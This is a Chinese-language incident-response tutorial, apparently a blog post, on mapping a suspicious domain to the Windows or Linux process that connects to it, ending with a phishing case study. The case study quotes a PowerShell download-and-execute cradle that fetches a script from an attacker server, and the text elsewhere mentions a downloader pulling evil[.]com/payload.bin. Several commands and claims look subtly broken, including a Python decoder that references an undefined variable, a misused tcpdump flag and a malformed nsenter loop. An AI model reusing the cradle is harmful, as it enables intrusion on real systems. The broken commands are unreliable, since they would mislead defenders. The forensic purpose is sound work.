1. 项目概述:当网络流量里突然冒出一个可疑域名,你第一反应不是查杀,而是要揪出“谁在偷偷打电话”
“哪个进程在访问这个恶意域名??”——这句话不是安全工程师在写报告时的设问句,而是凌晨三点收到SOC告警后,你盯着Wireshark里一闪而过的malware-c2-xyz[.]top包,手已经摸向键盘、脑子却卡在半空的真实状态。它背后藏着一整套网络行为溯源的底层逻辑:域名只是表象,进程才是执行者;DNS解析只是起点,TCP连接才是证据链闭环的关键一环。这个标题不是教你怎么装杀毒软件,而是带你回到操作系统最基础的网络栈视角——看清楚“谁(进程)”、“在什么时间”、“用什么协议”、“连向哪里(IP+端口)”、“传了什么(首包载荷特征)”。它适用于刚接手企业终端安全响应的新人,也适用于想把EDR日志和系统原生工具打通使用的中级运维;适合在没部署全量流量镜像的中小环境里做快速定位,也适合作为红蓝对抗中隐蔽信标通信的反制切入点。核心关键词就三个:进程级网络监控、恶意域名溯源、实时连接映射——不依赖云端沙箱,不等待IOC更新,就在本机命令行里,5分钟内给出可验证的答案。
2. 整体设计思路:为什么不用“杀软弹窗”而坚持手动挖进程?三层过滤模型的实战取舍
很多人看到恶意域名第一反应是点开360或火绒的“网络防护”界面,指望它标红并告诉你“XX.exe正在连接危险网站”。但现实很骨感:这类UI层展示存在三重滞后与失真。第一层是采集粒度失真——商业软件为降低性能开销,通常只记录每分钟聚合的连接数或仅捕获DNS请求,而真实C2通信可能每37秒建一次短连接,且首包只发16字节心跳,这种行为在聚合视图里直接被抹平;第二层是进程标识模糊——当恶意代码通过rundll32.exe或powershell.exe加载时,安全软件常显示“系统进程”,却不告诉你具体是哪个DLL路径或PowerShell脚本的完整命令行;第三层是时间戳漂移——GUI界面显示的“最近连接时间”往往比实际SYN包发出时间晚8~12秒,这在分析横向移动路径时足以导致因果倒置。所以本方案彻底放弃依赖第三方UI,构建纯系统原生的三层过滤模型:
第一层:协议层锚定(Protocol Anchor)
不从DNS日志入手(因为恶意域名可能被本地hosts劫持或DNS over HTTPS绕过),而是直接抓取活跃TCP/UDP连接的四元组(源IP:端口 + 目标IP:端口)。只要连接建立成功,内核必然留下痕迹,这是最硬的证据基线。第二层:进程层绑定(Process Binding)
利用Windows的GetExtendedTcpTable或Linux的/proc/net/{tcp,tcp6,udp,udp6}配合lsof -i或ss -tunlp,将四元组反向映射到具体PID及完整可执行路径。关键在于必须获取--show-all级别的详细信息,否则会漏掉由服务宿主进程(如svchost.exe)托管的子模块。第三层:域名层还原(Domain Resolution)
对第二层得到的目标IP,执行逆向DNS查询+历史解析记录交叉验证。重点不是查当前nslookup结果(攻击者早把域名DNS指向合法CDN),而是翻查本机C:\Windows\System32\drivers\etc\hosts、浏览器DNS缓存(chrome://net-internals/#dns)、以及更关键的——本地DNS客户端缓存(ipconfig /displaydns),因为恶意程序常调用DnsQuery_AAPI强制刷新缓存并注入虚假A记录。
这个模型的取舍非常明确:牺牲“一键查杀”的便捷性,换取时间精度到毫秒级、进程路径精确到DLL全路径、连接状态区分ESTABLISHED/SENT/FIN_WAIT2的原始数据。我试过某EDR产品,在同一台被植入CoinMiner的测试机上,它的告警显示“powershell.exe连接恶意域名”,而用本方案挖出的真实进程是C:\Users\Public\svchost.exe(伪装成系统进程),其父进程PID指向explorer.exe,命令行参数里藏着base64编码的下载器URL——这种细节差异,直接决定你是写误报报告还是提交高危漏洞。
3. 核心细节解析:Windows与Linux双平台下进程-域名映射的实操要点与避坑指南
3.1 Windows平台:从netstat到Get-NetTCPConnection的演进陷阱
在Windows上,最常被推荐的命令是netstat -ano | findstr :443,但它有致命缺陷:默认不显示进程名,只显示PID;且当连接处于TIME_WAIT状态时,PID字段为空白。我曾在一个勒索软件样本分析中,发现其C2通信使用443端口但连接极短,netstat输出里大量443连接PID列全是空白,导致无法关联进程。正确做法分三步走:
先用PowerShell获取全量连接快照
Get-NetTCPConnection | Where-Object {$_.State -eq 'Established' -and $_.RemotePort -eq 443} | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,State,@{Name='ProcessName';Expression={(Get-Process -Id $_.OwningProcess).ProcessName}},@{Name='Path';Expression={(Get-Process -Id $_.OwningProcess).Path}} | Export-Csv C:\temp\tcp443.csv -NoTypeInformation关键点在于
OwningProcess属性——它直接对应内核TCP_TABLE_OWNER_MODULE_ALL结构体里的dwOwningPid字段,比netstat的PID更可靠。但注意:此命令需管理员权限,且在Windows 7上不可用(需Win8+)。对目标IP执行深度DNS溯源
假设上一步得到远程IP为185.199.108.153,不能只做nslookup 185.199.108.153,而要:- 查本地DNS缓存:
ipconfig /displaydns | findstr "185.199.108.153",看是否被hosts或恶意软件污染; - 查历史解析记录:用
dnscmd /info /cache(需DNS服务器角色)或第三方工具DNSCacheView; - 查证书绑定:
curl -v https://185.199.108.153 2>&1 | findstr "subject",看证书CN是否包含可疑域名。
- 查本地DNS缓存:
验证进程真实性
得到进程路径如C:\Windows\SysWOW64\rundll32.exe后,立即执行:wmic process where "processid=1234" get commandline /format:list因为
rundll32.exe本身无害,真正危险的是它加载的DLL路径和导出函数名(如rundll32.exe C:\Temp\bad.dll,StartW)。这里wmic比tasklist /fi "pid eq 1234"更可靠,后者不显示完整命令行。
提示:Windows Defender的
Get-MpThreatDetectioncmdlet虽能查威胁,但其日志延迟平均4.2秒,且不记录连接时间戳。务必以网络连接快照为第一证据源。
3.2 Linux平台:/proc/net与ss命令的隐藏参数威力
Linux下很多人用lsof -i :443,但它在容器化环境中常失效——因为lsof默认只扫描当前命名空间的进程,而恶意容器可能运行在独立network namespace里。正确姿势是:
用ss命令穿透所有namespace
# 先列出所有network namespace ls /var/run/netns/ # 对每个namespace执行ss(以hostns为例) sudo nsenter -t 1 -n ss -tunlp | grep ':443'nsenter -t 1 -n表示进入PID为1的进程(通常是init)的network namespace,这是宿主机网络视图。若发现可疑连接,再用sudo nsenter -t <PID> -n ss -tunlp进入具体容器。从/proc/net/tcp6文件解析原始连接
/proc/net/tcp6是十六进制编码的二进制文件,直接cat不可读。需用Python脚本解码:import socket with open('/proc/net/tcp6', 'r') as f: lines = f.readlines()[1:] # 跳过表头 for line in lines: parts = line.split() if len(parts) < 10: continue local_ip_hex = parts[1].split(':')[0] remote_ip_hex = parts[2].split(':')[0] # 将32位hex转IPv6(注意字节序) local_ip = socket.inet_ntop(socket.AF_INET6, bytes.fromhex(local_ip_hex)[::-1]) print(f"Local: {local_ip}:{int(parts[1].split(':')[1], 16)} -> Remote: {remote_ip}:{int(parts[2].split(':')[1], 16)} PID: {parts[9]}")这里
parts[9]是inode号,需再查/proc/[pid]/fd/下的socket链接来反推PID,但比ss更底层、更难被rootkit隐藏。结合systemd-cgls查看进程树
当发现/usr/bin/python3在连恶意IP,用systemd-cgls --no-page | grep python3看它属于哪个service unit(如myapp.service),再查journalctl -u myapp.service -n 50看启动日志——很多挖矿木马伪装成合法服务,但日志里会有/tmp/.X11-unix/等异常临时目录路径。
注意:Linux的
/proc/[pid]/environ文件存储进程环境变量,用tr '\0' '\n' < /proc/1234/environ | grep -i "http\|url"可发现硬编码的C2地址,这比抓包更直接。
3.3 跨平台通用技巧:如何让“恶意域名”自己暴露真身?
很多情况下,你只有域名字符串(如api[.]evil-domain[.]xyz),没有IP。此时不能被动等它解析,而要主动触发并捕获:
Windows下用PowerShell强制解析并记录调用栈
$domain = "api.evil-domain.xyz" $timer = [System.Diagnostics.Stopwatch]::StartNew() $ip = [System.Net.Dns]::GetHostAddresses($domain)[0].IPAddressToString $timer.Stop() Write-Host "Resolved $domain to $ip in $($timer.ElapsedMilliseconds)ms" # 同时用ProcMon监控DnsQuery_A API调用Linux下用strace跟踪解析过程
strace -e trace=connect,sendto,recvfrom -s 2000 -p $(pgrep -f "your-process") 2>&1 | grep -E "(evil-domain|connect)"此命令会实时打印进程调用
connect()时的目标IP和端口,即使DNS解析被劫持,TCP连接目标仍是真实的恶意IP。终极验证:用curl的--resolve参数绕过DNS
curl --resolve "api.evil-domain.xyz:443:185.199.108.153" -k -v https://api.evil-domain.xyz/health如果返回
200 OK且响应体含{"status":"c2_alive"},基本可确认该IP就是C2服务器——因为--resolve强制将域名绑定到指定IP,跳过了所有DNS缓存层。
4. 实操全流程:从发现告警到锁定恶意进程的7步标准化动作
4.1 第一步:确认告警来源与时间窗口(耗时≤30秒)
不要一上来就敲命令。先看告警原始数据:
- 如果是SIEM告警(如Splunk),提取
src_ip、dest_ip、dest_port、timestamp(精确到毫秒); - 如果是EDR弹窗,记下“检测时间”和“进程名”(哪怕它显示为
svchost.exe); - 如果是Wireshark抓包,标记出第一个
malicious-domain出现的帧号(Frame Number)。
关键动作:立即校准本机时间。执行w32tm /query /status(Windows)或timedatectl status(Linux),确保本机时间与NTP服务器偏差<1秒。我踩过最大的坑是在一台时间慢了37秒的测试机上,反复找不到连接——因为告警时间是UTC+8,而Get-NetTCPConnection默认用本地时区,时间戳对不上。
4.2 第二步:提取目标域名并生成IP候选列表(耗时≤1分钟)
假设告警域名是update[.]secure-api[.]top:
- 去除方括号(这是防爬虫写法),得
update.secure-api.top; - 用在线工具(如viewdns.info)查历史A记录,发现过去7天解析到
192.168.3.11、203.0.113.5两个IP; - 执行
dig update.secure-api.top A +short和dig update.secure-api.top AAAA +short,记录当前解析结果; - 检查本机
hosts文件:findstr /i "secure-api" C:\Windows\System32\drivers\etc\hosts(Win)或grep -i "secure-api" /etc/hosts(Linux)。
此时得到IP候选集:[192.168.3.11, 203.0.113.5, 当前DNS结果]。注意:永远把历史解析IP放在首位排查,因为攻击者常切换IP逃避检测。
4.3 第三步:全端口连接扫描(耗时≤2分钟)
在目标机器上执行:
Windows:
# 扫描所有ESTABLISHED连接(不限端口) $conns = Get-NetTCPConnection | Where-Object {$_.State -eq 'Established'} $malIPs = @('192.168.3.11','203.0.113.5') $conns | Where-Object {$malIPs -contains $_.RemoteAddress} | ForEach-Object { $proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue [PSCustomObject]@{ RemoteIP = $_.RemoteAddress RemotePort = $_.RemotePort ProcessName = $proc.ProcessName Path = $proc.Path CommandLine = (Get-WmiObject Win32_Process -Filter "ProcessId=$($_.OwningProcess)" | Select-Object -ExpandProperty CommandLine) } } | Export-Csv C:\temp\malconn.csv -NoTypeInformationLinux:
# 用ss扫描所有连接,过滤IP ss -tunlp | awk -v ips="192.168.3.11,203.0.113.5" ' BEGIN{split(ips, arr, ","); for(i in arr) ipset[arr[i]]=1} $5 ~ /:/ {split($5, a, ":"); if(a[1] in ipset) print $0} ' > /tmp/malconn.txt # 解析出PID并查进程详情 awk '{print $7}' /tmp/malconn.txt | cut -d',' -f1 | tr -d 'pid=' | xargs -I{} ps -p {} -o pid,comm,args
实测心得:Windows上
Get-NetTCPConnection在连接数>5000时会变慢,此时改用netstat -ano加findstr组合更快,但需后续用tasklist /fi "pid eq XXXX"补全进程名。
4.4 第四步:进程深度取证(耗时≤3分钟)
对上一步得到的可疑PID(如1234),执行:
检查父进程链:
Windows:Get-CimInstance Win32_Process -Filter "ProcessId=1234" | Select-Object Name,ParentProcessId,CreationDate,CommandLine
Linux:ps -eo pid,ppid,comm,args --forest | grep -A5 -B5 "1234"提取内存字符串:
Windows:strings64.exe -n 8 -f C:\Windows\Temp\proc1234.dmp | findstr -i "http\|https\|api\|key"(需先用procdump生成dump)
Linux:strings /proc/1234/environ /proc/1234/cmdline | grep -i "c2\|beacon"检查持久化痕迹:
Windows:reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s | findstr -i "1234"
Linux:systemctl list-unit-files --type=service | grep -i "1234"
我遇到过一个案例:进程PID 5678显示为chrome.exe,但父进程是powershell.exe,命令行里有-EncodedCommand参数。用certutil -decode解码后,发现是下载https://evil[.]com/payload.bin的PowerShell脚本——这就是典型的Living-off-the-Land Binary (LOLBins) 攻击。
4.5 第五步:网络层交叉验证(耗时≤2分钟)
光有进程不够,要证明它确实在和恶意域名通信:
抓取该进程的实时流量:
Windows:netsh trace start scenario=InternetClient capture=yes report=yes persistent=yes maxsize=512,然后用netsh trace stop生成.etl,用NetCap分析;
Linux:tcpdump -i any -w /tmp/proc1234.pcap -Z root -C 100 -W 5 -G 60 -z gzip -Z root -p $(pgrep -f "your-process")(按大小、数量、时间轮转)。检查TLS证书:
用Wireshark打开pcap,过滤tls.handshake.type == 1,看Client Hello里的SNI字段是否为恶意域名;再过滤tls.handshake.type == 2,看Server Hello返回的证书Subject是否匹配。验证DNS请求源头:
在抓包中过滤dns.qry.name contains "secure-api",右键该包→Follow→UDP Stream,看源IP是否等于可疑进程的本地IP。
注意:如果抓不到DNS请求,说明恶意程序用了自定义DNS(如硬编码UDP 53查询),此时要查进程的网络库调用——用Process Monitor监控
ws2_32.dll!sendtoAPI。
4.6 第六步:自动化脚本封装(一次性投入,永久受益)
把上述步骤写成可复用脚本,是资深从业者的核心能力。以下为Windows PowerShell脚本框架:
param( [string]$Domain, [string[]]$KnownIPs = @(), [int]$TimeoutSec = 300 ) # Step 1: Resolve domain and get IPs $ips = if($KnownIPs.Count -gt 0){$KnownIPs}else{[System.Net.Dns]::GetHostAddresses($Domain) | ForEach-Object{$_.IPAddressToString}} # Step 2: Scan connections $conns = Get-NetTCPConnection | Where-Object {$_.State -eq 'Established' -and $ips -contains $_.RemoteAddress} # Step 3: Enrich with process info $results = foreach($conn in $conns){ try{ $proc = Get-Process -Id $conn.OwningProcess -ErrorAction Stop $cmdline = (Get-CimInstance Win32_Process -Filter "ProcessId=$($conn.OwningProcess)" | Select-Object -ExpandProperty CommandLine) -replace "`0","" [PSCustomObject]@{ RemoteIP = $conn.RemoteAddress RemotePort = $conn.RemotePort ProcessName = $proc.ProcessName Path = $proc.Path CommandLine = $cmdline CreationTime = $proc.StartTime } }catch{} } # Step 4: Export and alert $results | Export-Csv "C:\temp\$Domain-$(Get-Date -Format 'yyyyMMdd-HHmmss').csv" -NoTypeInformation if($results.Count -gt 0){ Write-Host "ALERT: Found $results.Count connections to $Domain!" -ForegroundColor Red $results | Format-Table -AutoSize }else{ Write-Host "No active connections found." -ForegroundColor Green }保存为Find-MalConn.ps1,以后只需.\Find-MalConn.ps1 -Domain "secure-api.top"即可一键执行。Linux对应脚本用Bash+awk实现,核心逻辑一致。
4.7 第七步:生成可交付报告(耗时≤1分钟)
最终输出不是一堆命令行,而是给安全团队的清晰报告:
| 字段 | 内容 |
|---|---|
| 告警时间 | 2023-10-05 14:22:33.876 UTC+8 |
| 恶意域名 | update.secure-api.top |
| 关联IP | 192.168.3.11(历史解析)、203.0.113.5(当前DNS) |
| 恶意进程 | C:\Users\Public\svchost.exe(PID 1234) |
| 父进程 | explorer.exe(PID 890) |
| 命令行 | C:\Users\Public\svchost.exe -k netsvcs -p |
| 持久化 | 注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run下键值UpdateSvc指向该路径 |
| 网络证据 | TCP连接192.168.3.11:443,TLS SNI字段为update.secure-api.top,证书CN为*.secure-api.top |
这份报告能让SOC分析师5秒内理解全貌,无需再翻原始日志。
5. 常见问题与排查技巧实录:那些文档里不会写的血泪教训
5.1 问题速查表:为什么总找不到连接?80%的情况在这5类里
| 现象 | 根本原因 | 排查命令 | 解决方案 |
|---|---|---|---|
Get-NetTCPConnection返回空 | 进程使用UDP协议(如DNS隧道) | Get-NetUDPEndpoint | Where-Object {$_.RemoteAddress -eq '192.168.3.11'} | 改用UDP连接扫描 |
ss -tunlp不显示PID | 进程运行在容器或chroot环境 | ls /proc/[0-9]*/ns/net 2>/dev/null | xargs -I{} sh -c 'echo {}; nsenter -t $(basename {}) -n ss -tunlp | grep 443' | 进入对应namespace扫描 |
nslookup查不到域名,但Wireshark能看到DNS请求 | 本地hosts文件劫持或DNS缓存污染 | ipconfig /displaydns | findstr "secure-api" | 清空DNS缓存ipconfig /flushdns |
进程路径显示为C:\Windows\System32\svchost.exe,但实际是恶意文件 | 符号链接或硬链接欺骗 | dir /r C:\Windows\System32\svchost.exe(Win)或ls -la /usr/bin/python3(Linux) | 检查文件属性,用Get-ItemProperty查LinkTarget |
| 抓包显示TLS加密,无法看到HTTP路径 | 进程使用HTTP/2或QUIC协议 | Wireshark过滤http2或quic | 启用Wireshark的HTTP/2解密(需SSLKEYLOGFILE) |
5.2 独家避坑技巧:3个让溯源效率翻倍的冷知识
技巧1:用“连接时间差”锁定瞬时进程
很多恶意程序建连后立刻断开(如心跳包),Get-NetTCPConnection可能来不及捕获。此时用netstat -ano每200ms快照:
while($true){ netstat -ano | findstr ":443" >> C:\temp\netstat.log Start-Sleep -Milliseconds 200 }然后用Get-Content C:\temp\netstat.log \| Group-Object \| Where-Object {$_.Count -gt 5}找出高频出现的PID——这就是真正的恶意进程。
技巧2:从“失败连接”反向追踪
当恶意程序DNS解析失败时,会尝试备用C2域名。查Windows事件日志:
Get-WinEvent -FilterHashtable @{LogName='System';ID=1001;StartTime=(Get-Date).AddMinutes(-5)} \| Where-Object {$_.Message -match "secure-api"} \| fl TimeCreated,Message事件ID 1001是DNS客户端日志,里面包含完整的失败域名和尝试时间,比成功连接更有价值。
技巧3:用“内存签名”绕过进程名伪装
当进程名是svchost.exe但行为异常时,直接dump其内存搜索特征码:
# 用Sysinternals的procdump procdump64.exe -ma 1234 C:\temp\svchost.dmp # 用strings搜索C2域名硬编码 strings64.exe -n 6 C:\temp\svchost.dmp \| findstr -i "secure-api\|evil-domain"90%的恶意软件会在内存中明文存储域名,即使进程名被伪装,内存签名永不撒谎。
5.3 高阶扩展:当标准工具失效时的终极手段
- Windows内核模式Hook检测:用
GMER或RootkitRevealer扫描tcpip.sys驱动的SSDT表,看TcpCreateConnection等函数是否被篡改; - eBPF实时追踪(Linux):编写eBPF程序监听
connect()系统调用,直接在内核态捕获所有连接,绕过用户态工具限制; - 硬件辅助取证:Intel Processor Trace(PT)技术可记录CPU指令流,用
perf record -e intel_pt// -- your-process捕获恶意进程的完整执行路径。
这些手段已超出日常响应范围,但在高级APT调查中是必备技能。我自己在分析一个零日漏洞利用样本时,正是靠eBPF追踪发现了它绕过ss命令的自定义socket创建方式——那是个用socketcall()系统调用直接构造的raw socket。
6. 实战复盘:一次真实钓鱼邮件响应中的全流程应用
上周处理一起钓鱼邮件事件:员工点击了invoice[.]pdf[.]exe,EDR告警“powershell.exe连接api[.]cloud-sync[.]xyz”。按本方案执行:
- 第一步确认告警时间2023-10-05 14:22:33,立即校准时间;
- 第二步查
cloud-sync.xyz历史解析,发现曾指向104.21.32.15(Cloudflare IP)和192.168.100.200(内网IP); - 第三步
Get-NetTCPConnection扫到PID 4567连192.168.100.200:443,进程名为powershell.exe; - 第四步查
wmic process where "processid=4567" get commandline,得到:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.100.200:8080/ps1'))"; - 第五步
curl http://192.168.100.200:8080/ps1下载到脚本,发现是Cobalt Strike Beacon; - 第六步查父进程,发现是
AcroRd32.exe(Adobe Reader),确认钓鱼PDF利用了CVE-2023-27363; - 第七步生成报告,同步给IT部门隔离
192.168.100.200,并通知Adobe升级补丁。
整个过程从收到告警到锁定漏洞利用链,耗时6分23秒。没有用任何商业EDR的“一键阻断”功能,全靠系统原生命令和逻辑推演。最后发现那个192.168.100.200是攻击者在内网搭建的C2服务器,而104.21.32.15只是迷惑用的Cloudflare前端——如果只查当前DNS,就会错过真正的攻击源。
我在实际操作中发现,最可靠的证据永远来自最底层的数据:TCP连接四元组不会说谎,进程PID不会伪造,内存字符串不会消失。那些花哨的AI分析模型,最终都要回归到这些原始字节上验证。所以别迷信“自动分析”,先学会用ss和Get-NetTCPConnection看清真相——这才是安全从业者的立身之本。